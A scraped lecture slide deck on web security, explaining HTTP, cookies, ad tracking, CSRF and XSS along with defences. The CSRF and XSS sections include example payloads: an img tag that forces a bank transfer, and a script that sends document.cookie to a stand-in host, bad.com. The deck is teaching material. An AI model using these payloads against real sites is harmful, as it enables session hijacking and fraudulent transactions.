This time Continuing with Web Security Cookies XSS & CSRF - - PowerPoint PPT Presentation

▶
this time
SMART_READER_LITE
LIVE PREVIEW

This time Continuing with Web Security Cookies XSS & CSRF - - PowerPoint PPT Presentation

May 27, 2023 285 likes •1.77k views

This time Continuing with Web Security Cookies XSS & CSRF Required reading for this lecture: Web Security: Are You Part Of The Problem? Cross Site Request Forgery: An Introduction HTTP GET requests Contain headers.

slide-1
SLIDE 1

This time

Continuing with

Web

Security

Cookies

XSS & CSRF

Required reading for this lecture: “Web Security: Are You Part Of The Problem?” “Cross Site Request Forgery: An Introduction…”

slide-2
SLIDE 2

HTTP GET requests

http://www.reddit.com/r/security Contain headers. Request to download (GET) a
 resource (webpage, file, etc.) from a location (URL)

slide-3
SLIDE 3

HTTP GET requests

http://www.reddit.com/r/security Contain headers. Request to download (GET) a
 resource (webpage, file, etc.) from a location (URL)

slide-4
SLIDE 4

HTTP GET requests

http://www.reddit.com/r/security User-Agent is typically a browser but it can be wget, JDK, etc. Contain headers. Request to download (GET) a
 resource (webpage, file, etc.) from a location (URL)

slide-5
SLIDE 5
slide-6
SLIDE 6
slide-7
SLIDE 7

Referrer URL: the site from which
 this request was issued.

slide-8
SLIDE 8

HTTP POST requests

Contain headers and body (data).
 Request to upload (POST) data to a resource (a program)
 hosted at a location (URL)

slide-9
SLIDE 9

HTTP POST requests

Contain headers and body (data).
 Request to upload (POST) data to a resource (a program)
 hosted at a location (URL)

slide-10
SLIDE 10

HTTP POST requests

Contain headers and body (data).
 Request to upload (POST) data to a resource (a program)
 hosted at a location (URL) Implicitly includes data
 as a part of the URL

slide-11
SLIDE 11

HTTP POST requests

Contain headers and body (data).
 Request to upload (POST) data to a resource (a program)
 hosted at a location (URL) Explicitly includes data as a part of the request’s content Implicitly includes data
 as a part of the URL

slide-12
SLIDE 12

Basic structure of web traffic

Browser Web server

Client Server HTTP Request User clicks

slide-13
SLIDE 13

Basic structure of web traffic

Browser Web server

Client Server User clicks

slide-14
SLIDE 14

Basic structure of web traffic

Browser Web server

Client Server User clicks HTTP Response

slide-15
SLIDE 15

Basic structure of web traffic

Browser Web server

Client Server User clicks

  • Responses contain:
  • Status code
  • Headers describing what the server provides
  • Data
  • Cookies
  • State it would like the browser to store on the site’s behalf

HTTP Response

slide-16
SLIDE 16

<html> …… </html>

HTTP responses

slide-17
SLIDE 17

<html> …… </html> Headers Data HTTP version Status code Reason phrase HTTP responses

slide-18
SLIDE 18
slide-19
SLIDE 19
slide-20
SLIDE 20
slide-21
SLIDE 21

HTTP is stateless

  • The lifetime of an HTTP session is typically:
  • Client connects to the server
  • Client issues a request
  • Server responds
  • Client issues a request for something in the response
  • …. repeat ….
  • Client disconnects
  • HTTP has no means of noting “oh this is the same

client from that previous session”

  • With this alone, you’d have to log in at every page load
slide-22
SLIDE 22

Maintaining state across HTTP sessions

  • Server processing results in intermediate state
  • Send the state to the client in hidden fields
  • Client returns the state in subsequent responses

Browser Web server

Client Server HTTP Request

slide-23
SLIDE 23

Maintaining state across HTTP sessions

  • Server processing results in intermediate state
  • Send the state to the client in hidden fields
  • Client returns the state in subsequent responses

Browser Web server

Client Server HTTP Request

State

slide-24
SLIDE 24

Maintaining state across HTTP sessions

  • Server processing results in intermediate state
  • Send the state to the client in hidden fields
  • Client returns the state in subsequent responses

Browser Web server

Client Server

State

slide-25
SLIDE 25

Maintaining state across HTTP sessions

  • Server processing results in intermediate state
  • Send the state to the client in hidden fields
  • Client returns the state in subsequent responses

Browser Web server

Client Server HTTP Response

State

slide-26
SLIDE 26

Maintaining state across HTTP sessions

  • Server processing results in intermediate state
  • Send the state to the client in hidden fields
  • Client returns the state in subsequent responses

Browser Web server

Client Server HTTP Response

State

slide-27
SLIDE 27

Maintaining state across HTTP sessions

  • Server processing results in intermediate state
  • Send the state to the client in hidden fields
  • Client returns the state in subsequent responses

Browser Web server

Client Server HTTP Response

State

slide-28
SLIDE 28

Maintaining state across HTTP sessions

  • Server processing results in intermediate state
  • Send the state to the client in hidden fields
  • Client returns the state in subsequent responses

Browser Web server

Client Server

State

slide-29
SLIDE 29

Maintaining state across HTTP sessions

  • Server processing results in intermediate state
  • Send the state to the client in hidden fields
  • Client returns the state in subsequent responses

Browser Web server

Client Server HTTP Request

State

slide-30
SLIDE 30

Maintaining state across HTTP sessions

  • Server processing results in intermediate state
  • Send the state to the client in hidden fields
  • Client returns the state in subsequent responses

Browser Web server

Client Server HTTP Request

State

slide-31
SLIDE 31

Maintaining state across HTTP sessions

  • Server processing results in intermediate state
  • Send the state to the client in hidden fields
  • Client returns the state in subsequent responses

Browser Web server

Client Server HTTP Request

State

slide-32
SLIDE 32

Online ordering

Order $5.50

Order

socks.com

slide-33
SLIDE 33

Online ordering

Order $5.50

Order

Pay

The total cost is $5.50.
 Confirm order?

Yes No

socks.com socks.com Separate page

slide-34
SLIDE 34

<html> <head> <title>Pay</title> </head> <body> <form action=“submit_order” method=“GET”> The total cost is $5.50. Confirm order? <input type=“hidden” name=“price” value=“5.50”> <input type=“submit” name=“pay” value=“yes”> <input type=“submit” name=“pay” value=“no”> </body> </html>

Online ordering

What’s presented to the user

slide-35
SLIDE 35

<html> <head> <title>Pay</title> </head> <body> <form action=“submit_order” method=“GET”> The total cost is $5.50. Confirm order? <input type=“hidden” name=“price” value=“5.50”> <input type=“submit” name=“pay” value=“yes”> <input type=“submit” name=“pay” value=“no”> </body> </html>

Online ordering

What’s presented to the user

slide-36
SLIDE 36

Online ordering

if(pay == yes && price != NULL) { bill_creditcard(price); deliver_socks(); } else display_transaction_cancelled_page();

The corresponding backend processing

slide-37
SLIDE 37

Online ordering

if(pay == yes && price != NULL) { bill_creditcard(price); deliver_socks(); } else display_transaction_cancelled_page();

The corresponding backend processing

slide-38
SLIDE 38

<html> <head> <title>Pay</title> </head> <body> <form action=“submit_order” method=“GET”> The total cost is $5.50. Confirm order? <input type=“hidden” name=“price” value=“5.50”> <input type=“submit” name=“pay” value=“yes”> <input type=“submit” name=“pay” value=“no”> </body> </html>

Online ordering

What’s presented to the user

slide-39
SLIDE 39

<html> <head> <title>Pay</title> </head> <body> <form action=“submit_order” method=“GET”> The total cost is $5.50. Confirm order? <input type=“hidden” name=“price” value=“5.50”> <input type=“submit” name=“pay” value=“yes”> <input type=“submit” name=“pay” value=“no”> </body> </html>

Online ordering

What’s presented to the user

value=“0.01”

slide-40
SLIDE 40

Minimizing trust in the client

<html> <head> <title>Pay</title> </head> <body> <form action=“submit_order” method=“GET”> The total cost is $5.50. Confirm order? <input type=“hidden” name=“price” value=“5.50”> <input type=“submit” name=“pay” value=“yes”> <input type=“submit” name=“pay” value=“no”> </body> </html>

What’s presented to the user

slide-41
SLIDE 41

Minimizing trust in the client

<html> <head> <title>Pay</title> </head> <body> <form action=“submit_order” method=“GET”> The total cost is $5.50. Confirm order? <input type=“hidden” name=“price” value=“5.50”> <input type=“submit” name=“pay” value=“yes”> <input type=“submit” name=“pay” value=“no”> </body> </html> <input type=“hidden” name=“sid” value=“781234”>

What’s presented to the user

slide-42
SLIDE 42

Minimizing trust in the client

price = lookup(sid); if(pay == yes && price != NULL) { bill_creditcard(price); deliver_socks(); } else display_transaction_cancelled_page();

The corresponding backend processing

slide-43
SLIDE 43

Minimizing trust in the client

price = lookup(sid); if(pay == yes && price != NULL) { bill_creditcard(price); deliver_socks(); } else display_transaction_cancelled_page();

The corresponding backend processing We don’t want to pass hidden fields around all the time

slide-44
SLIDE 44

Statefulness with Cookies

  • Server stores state, indexes it with a cookie
  • Send this cookie to the client
  • Client stores the cookie and returns it with

subsequent queries to that same server

Browser Web server

Client Server HTTP Request

slide-45
SLIDE 45

Statefulness with Cookies

  • Server stores state, indexes it with a cookie
  • Send this cookie to the client
  • Client stores the cookie and returns it with

subsequent queries to that same server

Browser Web server

Client Server HTTP Request

State

slide-46
SLIDE 46

Statefulness with Cookies

  • Server stores state, indexes it with a cookie
  • Send this cookie to the client
  • Client stores the cookie and returns it with

subsequent queries to that same server

Browser Web server

Client Server HTTP Request

State Cookie

slide-47
SLIDE 47

Statefulness with Cookies

  • Server stores state, indexes it with a cookie
  • Send this cookie to the client
  • Client stores the cookie and returns it with

subsequent queries to that same server

Browser Web server

Client Server

State Cookie

slide-48
SLIDE 48

Statefulness with Cookies

  • Server stores state, indexes it with a cookie
  • Send this cookie to the client
  • Client stores the cookie and returns it with

subsequent queries to that same server

Browser Web server

Client Server HTTP Response

State Cookie

slide-49
SLIDE 49

Statefulness with Cookies

  • Server stores state, indexes it with a cookie
  • Send this cookie to the client
  • Client stores the cookie and returns it with

subsequent queries to that same server

Browser Web server

Client Server HTTP Response

Cookie State Cookie

slide-50
SLIDE 50

Statefulness with Cookies

  • Server stores state, indexes it with a cookie
  • Send this cookie to the client
  • Client stores the cookie and returns it with

subsequent queries to that same server

Browser Web server

Client Server HTTP Response

Cookie State Cookie Cookie

slide-51
SLIDE 51

Statefulness with Cookies

  • Server stores state, indexes it with a cookie
  • Send this cookie to the client
  • Client stores the cookie and returns it with

subsequent queries to that same server

Browser Web server

Client Server HTTP Response

Cookie State Cookie Cookie Server

slide-52
SLIDE 52

Statefulness with Cookies

  • Server stores state, indexes it with a cookie
  • Send this cookie to the client
  • Client stores the cookie and returns it with

subsequent queries to that same server

Browser Web server

Client Server

State Cookie Cookie Server

slide-53
SLIDE 53

Statefulness with Cookies

  • Server stores state, indexes it with a cookie
  • Send this cookie to the client
  • Client stores the cookie and returns it with

subsequent queries to that same server

Browser Web server

Client Server HTTP Request

State Cookie Cookie Server

slide-54
SLIDE 54

Statefulness with Cookies

  • Server stores state, indexes it with a cookie
  • Send this cookie to the client
  • Client stores the cookie and returns it with

subsequent queries to that same server

Browser Web server

Client Server HTTP Request

State Cookie Cookie Server Cookie

slide-55
SLIDE 55

<html> …… </html> Headers Data Set-Cookie:key=value; options; ….

Cookies are key-value pairs

slide-56
SLIDE 56

<html> …… </html> Headers Data Set-Cookie:key=value; options; ….

Cookies are key-value pairs

slide-57
SLIDE 57

Cookies

Browser

Client

(Private) Data

Semantics

slide-58
SLIDE 58

Cookies

Browser

Client

(Private) Data

  • Store “us” under the key “edition” (think of

it like one big hash table)

Semantics

slide-59
SLIDE 59

Cookies

Browser

Client

(Private) Data

  • Store “us” under the key “edition” (think of

it like one big hash table)

  • This value is no good as of Wed Feb 18…

Semantics

slide-60
SLIDE 60

Cookies

Browser

Client

(Private) Data

  • Store “us” under the key “edition” (think of

it like one big hash table)

  • This value is no good as of Wed Feb 18…
  • This value should only be readable by

any domain ending in .zdnet.com

Semantics

slide-61
SLIDE 61

Cookies

Browser

Client

(Private) Data

  • Store “us” under the key “edition” (think of

it like one big hash table)

  • This value is no good as of Wed Feb 18…
  • This value should only be readable by

any domain ending in .zdnet.com

  • This should be available to any resource

within a subdirectory of /

Semantics

slide-62
SLIDE 62

Cookies

Browser

Client

(Private) Data

  • Store “us” under the key “edition” (think of

it like one big hash table)

  • This value is no good as of Wed Feb 18…
  • This value should only be readable by

any domain ending in .zdnet.com

  • This should be available to any resource

within a subdirectory of /

  • Send the cookie to any future requests to

<domain>/<path>

Semantics

slide-63
SLIDE 63

Cookies

Browser

Client

(Private) Data

  • Store “us” under the key “edition” (think of

it like one big hash table)

  • This value is no good as of Wed Feb 18…
  • This value should only be readable by

any domain ending in .zdnet.com

  • This should be available to any resource

within a subdirectory of /

  • Send the cookie to any future requests to

<domain>/<path>

Semantics

slide-64
SLIDE 64

Requests with cookies

Subsequent visit …

slide-65
SLIDE 65

Requests with cookies

Subsequent visit …

Response

slide-66
SLIDE 66

Requests with cookies

Subsequent visit …

Response

slide-67
SLIDE 67

Why use cookies?

  • Personalization
  • Let an anonymous user customize your site
  • Store font choice, etc., in the cookie
slide-68
SLIDE 68

Why use cookies?

  • Tracking users
  • Advertisers want to know your behavior
  • Ideally build a profile across different websites
  • Read about iPad on CNN, then see ads on Amazon?!
  • How can an advertiser (A) know what you did on another site (S)?
slide-69
SLIDE 69

Why use cookies?

  • Tracking users
  • Advertisers want to know your behavior
  • Ideally build a profile across different websites
  • Read about iPad on CNN, then see ads on Amazon?!
  • How can an advertiser (A) know what you did on another site (S)?

S shows you an ad from A; A scrapes the referrer URL

slide-70
SLIDE 70

Why use cookies?

  • Tracking users
  • Advertisers want to know your behavior
  • Ideally build a profile across different websites
  • Read about iPad on CNN, then see ads on Amazon?!
  • How can an advertiser (A) know what you did on another site (S)?

S shows you an ad from A; A scrapes the referrer URL Option 1: A maintains a DB, indexed by your IP address Problem: IP addrs change

slide-71
SLIDE 71

Why use cookies?

  • Tracking users
  • Advertisers want to know your behavior
  • Ideally build a profile across different websites
  • Read about iPad on CNN, then see ads on Amazon?!
  • How can an advertiser (A) know what you did on another site (S)?

S shows you an ad from A; A scrapes the referrer URL Option 1: A maintains a DB, indexed by your IP address Problem: IP addrs change Option 2: A maintains a DB
 indexed by a cookie

  • “Third-party cookie”
  • Commonly used by large


ad networks (doubleclick)

slide-72
SLIDE 72
slide-73
SLIDE 73

Ad provided by
 an ad network

slide-74
SLIDE 74

Snippet of reddit.com source

slide-75
SLIDE 75

Snippet of reddit.com source Our first time accessing adzerk.net

slide-76
SLIDE 76

I visit reddit.com

slide-77
SLIDE 77

I visit reddit.com

slide-78
SLIDE 78

I visit reddit.com

slide-79
SLIDE 79

I visit reddit.com Later, I go to reddit.com/r/security

slide-80
SLIDE 80

I visit reddit.com Later, I go to reddit.com/r/security

slide-81
SLIDE 81

I visit reddit.com Later, I go to reddit.com/r/security

slide-82
SLIDE 82

I visit reddit.com Later, I go to reddit.com/r/security We are only sharing this cookie with
 *.adzerk.net; but we are telling them
 about where we just came from

slide-83
SLIDE 83

Cookies and web authentication

  • An extremely common use of cookies is to


track users who have already authenticated

  • If the user already visited


http://website.com/login.html?user=alice&pass=secret


with the correct password, then the server associates a “session cookie” with the logged-in user’s info

  • Subsequent requests (GET and POST) include the cookie

in the request headers and/or as one of the fields:


http://website.com/doStuff.html?sid=81asf98as8eak

  • The idea is for the server to be able to say “I am talking to

the same browser that authenticated Alice earlier.”

slide-84
SLIDE 84

Cookies and web authentication

  • An extremely common use of cookies is to


track users who have already authenticated

  • If the user already visited


http://website.com/login.html?user=alice&pass=secret


with the correct password, then the server associates a “session cookie” with the logged-in user’s info

  • Subsequent requests (GET and POST) include the cookie

in the request headers and/or as one of the fields:


http://website.com/doStuff.html?sid=81asf98as8eak

  • The idea is for the server to be able to say “I am talking to

the same browser that authenticated Alice earlier.”

Attacks?

slide-85
SLIDE 85

Cross-Site Request Forgery (CSRF)

slide-86
SLIDE 86

URLs with side-effects

  • GET requests should have no side-effects, but
  • ften do
  • What happens if the user is logged in with an active

session cookie and visits this link?

  • How could you possibly get a user to visit this link?

http://bank.com/transfer.cgi?amt=9999&to=attacker

slide-87
SLIDE 87

Exploiting URLs with side-effects

Browser

Client

attacker.com

slide-88
SLIDE 88

Exploiting URLs with side-effects

Browser

Client

<img src=“http://bank.com/ transfer.cgi?amt=9999&to=attacker”>

attacker.com

slide-89
SLIDE 89

Exploiting URLs with side-effects

Browser

Client

<img src=“http://bank.com/ transfer.cgi?amt=9999&to=attacker”>

attacker.com

Browser automatically visits the URL to obtain what it believes will be
 an image.

slide-90
SLIDE 90

Exploiting URLs with side-effects

Browser

Client

bank.com

<img src=“http://bank.com/ transfer.cgi?amt=9999&to=attacker”>

attacker.com

Browser automatically visits the URL to obtain what it believes will be
 an image.

slide-91
SLIDE 91

Exploiting URLs with side-effects

Browser

Client

bank.com

<img src=“http://bank.com/ transfer.cgi?amt=9999&to=attacker”> http://bank.com/
 transfer.cgi?amt=9999&to=attacker

attacker.com

Browser automatically visits the URL to obtain what it believes will be
 an image.

slide-92
SLIDE 92

Exploiting URLs with side-effects

Browser

Client

bank.com

<img src=“http://bank.com/ transfer.cgi?amt=9999&to=attacker”> http://bank.com/
 transfer.cgi?amt=9999&to=attacker

attacker.com

Browser automatically visits the URL to obtain what it believes will be
 an image.

Cookie

bank.com

slide-93
SLIDE 93

Exploiting URLs with side-effects

Browser

Client

bank.com

<img src=“http://bank.com/ transfer.cgi?amt=9999&to=attacker”> http://bank.com/
 transfer.cgi?amt=9999&to=attacker

attacker.com

Browser automatically visits the URL to obtain what it believes will be
 an image.

Cookie

bank.com

C

  • k

i e

slide-94
SLIDE 94

Exploiting URLs with side-effects

Browser

Client

bank.com

<img src=“http://bank.com/ transfer.cgi?amt=9999&to=attacker”> http://bank.com/
 transfer.cgi?amt=9999&to=attacker

attacker.com

Browser automatically visits the URL to obtain what it believes will be
 an image.

Cookie

bank.com

C

  • k

i e

$$$

slide-95
SLIDE 95

Cross-Site Request Forgery

  • Target: User who has some sort of account on a vulnerable

server where requests from the user’s browser to the server have a predictable structure

  • Attack goal: make requests to the server via the user’s

browser that look to the server like the user intended to make them

  • Attacker tools: ability to get the user to visit a web page under

the attacker’s control

  • Key tricks:
  • Requests to the web server have predictable structure
  • Use of something like <img src=…> to force the victim to send it
slide-96
SLIDE 96

CSRF protections

  • Client-side:
  • Server-side:
slide-97
SLIDE 97

CSRF protections

  • Client-side:
  • Server-side:

Disallow one site to link to another?? The loss of functionality would be too high

slide-98
SLIDE 98

CSRF protections

  • Client-side:
  • Server-side:

Disallow one site to link to another?? The loss of functionality would be too high Referrer URL: Only allow certain actions if the
 referrer URL is from this site, as well Make the request unpredictable; put the cookie
 into the request, as well

http://website.com/doStuff.html?sid=81asf98as8eak

slide-99
SLIDE 99

How can you steal a session cookie?

Browser Web server

Client Server

Cookie State Cookie Cookie Server Cookie

slide-100
SLIDE 100

How can you steal a session cookie?

  • Compromise the user’s machine / browser
  • Sniff the network
  • DNS cache poisoning
  • Trick the user into thinking you are Facebook
  • The user will send you the cookie

Browser Web server

Client Server

Cookie State Cookie Cookie Server Cookie

slide-101
SLIDE 101

How can you steal a session cookie?

  • Compromise the user’s machine / browser
  • Sniff the network
  • DNS cache poisoning
  • Trick the user into thinking you are Facebook
  • The user will send you the cookie

Network-based attacks (more later)

Browser Web server

Client Server

Cookie State Cookie Cookie Server Cookie

slide-102
SLIDE 102

Stealing users’ cookies

For now, we’ll assume this attack model:

  • The user is visiting the site they expect
  • All interactions are strictly through the browser
slide-103
SLIDE 103

Dynamic web pages

  • Rather than static HTML, web pages can be

expressed as a program, e.g., written in Javascript:

<html><body> Hello, <b> <script> var a = 1; var b = 2; document.write(“world: “, a+b, “</b>”); </script> </body></html>

slide-104
SLIDE 104

Javascript

  • Powerful web page programming language
  • Scripts are embedded in web pages returned by

the web server

  • Scripts are executed by the browser. They can:
  • Alter page contents (DOM objects)
  • Track events (mouse clicks, motion, keystrokes)
  • Issue web requests & read replies
  • Maintain persistent connections (AJAX)
  • Read and set cookies

no relation
 to Java

slide-105
SLIDE 105

What could go wrong?

  • Browsers need to confine Javascript’s power
  • A script on attacker.com should not be able to:
  • Alter the layout of a bank.com web page

  • Read keystrokes typed by the user while on a

bank.com web page


  • Read cookies belonging to bank.com
slide-106
SLIDE 106

Same Origin Policy

  • Browsers provide isolation for javascript scripts via

the Same Origin Policy (SOP)

  • Browser associates web page elements…
  • Layout, cookies, events
  • …with a given origin
  • The hostname (bank.com) that provided the

elements in the first place

  • SOP = only scripts received from a web page’s
  • rigin have access to the page’s elements
slide-107
SLIDE 107

Cookies

Browser

Client

(Private) Data

  • Store “en” under the key “edition”
  • This value is no good as of Wed Feb

18…

  • This value should only be readable by

any domain ending in .zdnet.com

  • This should be available to any

resource within a subdirectory of /

  • Send the cookie to any future requests

to <domain>/<path>

Semantics

slide-108
SLIDE 108

Cookies

Browser

Client

(Private) Data

  • Store “en” under the key “edition”
  • This value is no good as of Wed Feb

18…

  • This value should only be readable by

any domain ending in .zdnet.com

  • This should be available to any

resource within a subdirectory of /

  • Send the cookie to any future requests

to <domain>/<path>

Semantics

slide-109
SLIDE 109

Cross-site scripting (XSS)

slide-110
SLIDE 110

XSS: Subverting the SOP

  • Attacker provides a malicious script
  • Tricks the user’s browser into believing that the

script’s origin is bank.com

slide-111
SLIDE 111

XSS: Subverting the SOP

  • Attacker provides a malicious script
  • Tricks the user’s browser into believing that the

script’s origin is bank.com

  • One general approach:
  • Trick the server of interest (bank.com) to actually

send the attacker’s script to the user’s browser!

  • The browser will view the script as coming from the

same origin… because it does!

slide-112
SLIDE 112

Two types of XSS

  • 1. Stored (or “persistent”) XSS attack
  • Attacker leaves their script on the bank.com server
  • The server later unwittingly sends it to your browser
  • Your browser, none the wiser, executes it within the

same origin as the bank.com server

  • 2. Reflected XSS attack
  • Attacker gets you to send the bank.com server a URL

that includes some Javascript code

  • bank.com echoes the script back to you in its response
  • Your browser, none the wiser, executes the script in the

response within the same origin as bank.com

slide-113
SLIDE 113

Stored XSS attack

bank.com bad.com

slide-114
SLIDE 114

Stored XSS attack

bank.com bad.com

Inject
 malicious
 script

1

slide-115
SLIDE 115

Stored XSS attack

bank.com bad.com

Inject
 malicious
 script

1

slide-116
SLIDE 116

Stored XSS attack

Browser

Client

bank.com bad.com

Inject
 malicious
 script

1

slide-117
SLIDE 117

Stored XSS attack

Browser

Client

bank.com bad.com

Inject
 malicious
 script

1

Request content

2

slide-118
SLIDE 118

Stored XSS attack

Browser

Client

bank.com bad.com

Inject
 malicious
 script

1

Request content

2

Receive malicious script

3

slide-119
SLIDE 119

Stored XSS attack

Browser

Client

bank.com bad.com

Inject
 malicious
 script

1

Request content

2

Receive malicious script

3

Execute the
 malicious script
 as though the server meant us to run it

4

slide-120
SLIDE 120

Stored XSS attack

Browser

Client

bank.com bad.com

Inject
 malicious
 script

1

Request content

2

Receive malicious script

3

Execute the
 malicious script
 as though the server meant us to run it

4

Perform attacker action

5

slide-121
SLIDE 121

Stored XSS attack

Browser

Client

bank.com bad.com

Inject
 malicious
 script

1

Request content

2

Receive malicious script

3

Execute the
 malicious script
 as though the server meant us to run it

4

Perform attacker action

5

GET http://bank.com/transfer?amt=9999&to=attacker

slide-122
SLIDE 122

Stored XSS attack

Browser

Client

bank.com bad.com

Inject
 malicious
 script

1

Request content

2

Receive malicious script

3

Execute the
 malicious script
 as though the server meant us to run it

4

Steal valuable data

5

Perform attacker action

5

GET http://bank.com/transfer?amt=9999&to=attacker

slide-123
SLIDE 123

Stored XSS attack

Browser

Client

bank.com bad.com

Inject
 malicious
 script

1

Request content

2

Receive malicious script

3

Execute the
 malicious script
 as though the server meant us to run it

4

Steal valuable data

5

Perform attacker action

5

GET http://bank.com/transfer?amt=9999&to=attacker GET http://bad.com/steal?c=document.cookie

slide-124
SLIDE 124

Stored XSS Summary

  • Target: User with Javascript-enabled browser who visits

user-generated content page on a vulnerable web service

  • Attack goal: run script in user’s browser with the same

access as provided to the server’s regular scripts (i.e., subvert the Same Origin Policy)

  • Attacker tools: ability to leave content on the web server

(e.g., via an ordinary browser). Optional tool: a server for receiving stolen user information

  • Key trick: Server fails to ensure that content uploaded to

page does not contain embedded scripts

slide-125
SLIDE 125

Two types of XSS

  • 1. Stored (or “persistent”) XSS attack
  • Attacker leaves their script on the bank.com server
  • The server later unwittingly sends it to your browser
  • Your browser, none the wiser, executes it within the

same origin as the bank.com server

  • 2. Reflected XSS attack
  • Attacker gets you to send the bank.com server a URL

that includes some Javascript code

  • bank.com echoes the script back to you in its response
  • Your browser, none the wiser, executes the script in the

response within the same origin as bank.com

slide-126
SLIDE 126

Reflected XSS attack

Browser

Client

bad.com

slide-127
SLIDE 127

Reflected XSS attack

Browser

Client

bad.com

Visit web site

1

slide-128
SLIDE 128

Reflected XSS attack

Browser

Client

bad.com

Visit web site

1

Receive malicious page

2

slide-129
SLIDE 129

Reflected XSS attack

Browser

Client

bank.com bad.com

Visit web site

1

Receive malicious page

2

slide-130
SLIDE 130

Reflected XSS attack

Browser

Client

bank.com bad.com

Click on link

3

Visit web site

1

Receive malicious page

2

slide-131
SLIDE 131

Reflected XSS attack

Browser

Client

bank.com bad.com

Click on link

3

Visit web site

1

Receive malicious page

2 URL specially crafted
 by the attacker

slide-132
SLIDE 132

Reflected XSS attack

Browser

Client

bank.com bad.com

Click on link

3

Echo user input

4

Visit web site

1

Receive malicious page

2 URL specially crafted
 by the attacker

slide-133
SLIDE 133

Reflected XSS attack

Browser

Client

bank.com bad.com

Click on link

3

Echo user input

4

Execute the
 malicious script
 as though the server meant us to run it

5

Visit web site

1

Receive malicious page

2 URL specially crafted
 by the attacker

slide-134
SLIDE 134

Reflected XSS attack

Browser

Client

bank.com bad.com

Click on link

3

Echo user input

4

Execute the
 malicious script
 as though the server meant us to run it

5

Perform attacker action

6

Visit web site

1

Receive malicious page

2 URL specially crafted
 by the attacker

slide-135
SLIDE 135

Reflected XSS attack

Browser

Client

bank.com bad.com

Click on link

3

Echo user input

4

Execute the
 malicious script
 as though the server meant us to run it

5

Steal valuable data

6

Perform attacker action

6

Visit web site

1

Receive malicious page

2 URL specially crafted
 by the attacker

slide-136
SLIDE 136

Echoed input

  • The key to the reflected XSS attack is to find

instances where a good web server will echo the user input back in the HTML response

slide-137
SLIDE 137

Echoed input

  • The key to the reflected XSS attack is to find

instances where a good web server will echo the user input back in the HTML response

http://victim.com/search.php?term=socks

Input from bad.com:

slide-138
SLIDE 138

Echoed input

  • The key to the reflected XSS attack is to find

instances where a good web server will echo the user input back in the HTML response

http://victim.com/search.php?term=socks

<html> <title> Search results </title> <body> Results for socks : . . . </body></html>

Input from bad.com: Result from victim.com:

slide-139
SLIDE 139

Exploiting echoed input

slide-140
SLIDE 140

Exploiting echoed input

http://victim.com/search.php?term=
 <script> window.open( “http://bad.com/steal?c=“
 + document.cookie)
 </script>

Input from bad.com:

slide-141
SLIDE 141

Exploiting echoed input

http://victim.com/search.php?term=
 <script> window.open( “http://bad.com/steal?c=“
 + document.cookie)
 </script>

<html> <title> Search results </title> <body> Results for <script> ... </script> . . . </body></html>

Input from bad.com: Result from victim.com:

slide-142
SLIDE 142

Exploiting echoed input

http://victim.com/search.php?term=
 <script> window.open( “http://bad.com/steal?c=“
 + document.cookie)
 </script>

<html> <title> Search results </title> <body> Results for <script> ... </script> . . . </body></html>

Browser would execute this within victim.com’s origin Input from bad.com: Result from victim.com:

slide-143
SLIDE 143

Reflected XSS Summary

  • Target: User with Javascript-enabled browser who a

vulnerable web service that includes parts of URLs it receives in the web page output it generates

  • Attack goal: run script in user’s browser with the same

access as provided to the server’s regular scripts (i.e., subvert the Same Origin Policy)

  • Attacker tools: ability to get user to click on a specially-

crafted URL. Optional tool: a server for receiving stolen user information

  • Key trick: Server fails to ensure that the output it generates

does not contain embedded scripts other than its own

slide-144
SLIDE 144

XSS Protection

  • Open Web Application Security Project (OWASP):
  • Whitelist: Validate all headers, cookies, query

strings… everything.. against a rigorous spec of what should be allowed

  • Don’t blacklist: Do not attempt to filter/sanitize.
  • Principle of fail-safe defaults.
slide-145
SLIDE 145

Mitigating cookie security threats

  • Cookies must not be easy to guess
  • Randomly chosen
  • Sufficiently long
  • Time out session IDs and delete them once the

session ends

slide-146
SLIDE 146

Twitter vulnerability

  • Uses one cookie (auth_token) to validate user
  • The cookie is a function of
  • User name
  • Password
  • auth_token weaknesses
  • Does not change from one login to the next
  • Does not become invalid when the user logs out
  • Steal this cookie once, and you can log in as the

user any time you want (until password change)

slide-147
SLIDE 147

XSS vs. CSRF

  • Do not confuse the two:
  • XSS attacks exploit the trust a client browser has in

data sent from the legitimate website

  • So the attacker tries to control what the website sends

to the client browser

  • CSRF attacks exploit the trust the legitimate

website has in data sent from the client browser

  • So the attacker tries to control what the client browser

sends to the website

slide-148
SLIDE 148